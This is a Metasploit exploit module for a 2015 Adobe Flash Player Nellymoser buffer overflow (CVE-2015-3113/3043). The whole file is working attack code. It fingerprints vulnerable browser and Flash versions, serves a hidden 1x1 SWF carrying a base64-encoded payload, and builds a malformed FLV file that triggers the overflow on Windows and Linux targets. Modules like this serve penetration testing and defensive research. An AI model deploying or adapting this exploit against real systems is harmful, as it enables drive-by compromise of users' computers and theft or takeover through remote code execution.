##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => 'Adobe Flash Player Nellymoser Audio Decoding Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow on Adobe Flash Player when handling nellymoser
encoded audio inside a FLV video, as exploited in the wild on June 2015. This module
has been tested successfully on:
Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.160,
Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.160,
Windows 8.1, Firefox 38.0.5 and Adobe Flash 18.0.0.160,
Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.466, and
Ubuntu 14.04.2 LTS, Firefox 35.01, and Adobe Flash 11.2.202.466.
Note that this exploit is effective against both CVE-2015-3113 and the
earlier CVE-2015-3043, since CVE-2015-3113 is effectively a regression
to the same root cause as CVE-2015-3043.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Exploit in the wild
'juan vazquez' # msf module
],
'References' =>
[
['CVE', '2015-3043'],
['CVE', '2015-3113'],
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-06.html'],
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-14.html'],
['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/new-adobe-zero-day-shares-same-root-cause-as-older-flaws/'],
['URL', 'http://malware.dontneedcoffee.com/2015/06/cve-2015-3113-flash-up-to-1800160-and.html'],
['URL', 'http://bobao.360.cn/learning/detail/357.html']
],
'Payload' =>
{
'DisableNops' => true
},
'Platform' => ['win', 'linux'],
'Arch' => [ARCH_X86],
'BrowserRequirements' =>
{
:source => /script|headers/i,
:arch => ARCH_X86,
:os_name => lambda do |os|
os =~ OperatingSystems::Match::LINUX ||
os =~ OperatingSystems::Match::WINDOWS_7 ||
os =~ OperatingSystems::Match::WINDOWS_81
end,
:ua_name => lambda do |ua|
case target.name
when 'Windows'
return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF
when 'Linux'
return true if ua == Msf::HttpClients::FF
end
false
end,
:flash => lambda do |ver|
case target.name
when 'Windows'
return true if ver =~ /^18\./ && Gem::Version.new(ver) <= Gem::Version.new('18.0.0.161')
return true if ver =~ /^17\./ && Gem::Version.new(ver) != Gem::Version.new('17.0.0.169')
when 'Linux'
return true if ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.466') && Gem::Version.new(ver) != Gem::Version.new('11.2.202.457')
end
false
end
},
'Targets' =>
[
[ 'Windows',
{
'Platform' => 'win'
}
],
[ 'Linux',
{
'Platform' => 'linux'
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Jun 23 2015',
'DefaultTarget' => 0))
end
def exploit
@swf = create_swf
@flv = create_flv
super
end
def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")
if request.uri =~ /\.swf$/
print_status('Sending SWF...')
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
return
end
if request.uri =~ /\.flv$/
print_status('Sending FLV...')
send_response(cli, @flv, {'Content-Type'=>'video/x-flv', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
return
end
print_status('Sending HTML...')
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end
def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
target_payload = get_payload(cli, target_info)
b64_payload = Rex::Text.encode_base64(target_payload)
os_name = target_info[:os_name]
if target.name =~ /Windows/
platform_id = 'win'
elsif target.name =~ /Linux/
platform_id = 'linux'
end
html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" />
<param name="Play" value="true" />
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" Play="true"/>
</object>
</body>
</html>
|
return html_template, binding()
end
def create_swf
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-3113', 'msf.swf')
swf = ::File.open(path, 'rb') { |f| swf = f.read }
swf
end
def create_flv
header = ''
header << 'FLV' # signature
header << [1].pack('C') # version
header << [4].pack('C') # Flags: TypeFlagsAudio
header << [9].pack('N') # DataOffset
data = ''
data << "\x68" # fmt = 6 (Nellymoser), SoundRate: 2, SoundSize: 0, SoundType: 0
data << "\xee" * 0x440 # SoundData
tag1 = ''
tag1 << [8].pack('C') # TagType (audio)
tag1 << "\x00\x04\x41" # DataSize
tag1 << "\x00\x00\x1a" # TimeStamp
tag1 << [0].pack('C') # TimeStampExtended
tag1 << "\x00\x00\x00" # StreamID, always 0
tag1 << data
body = ''
body << [0].pack('N') # PreviousTagSize
body << tag1
body << [0xeeeeeeee].pack('N') # PreviousTagSize
flv = ''
flv << header
flv << body
flv
end
end
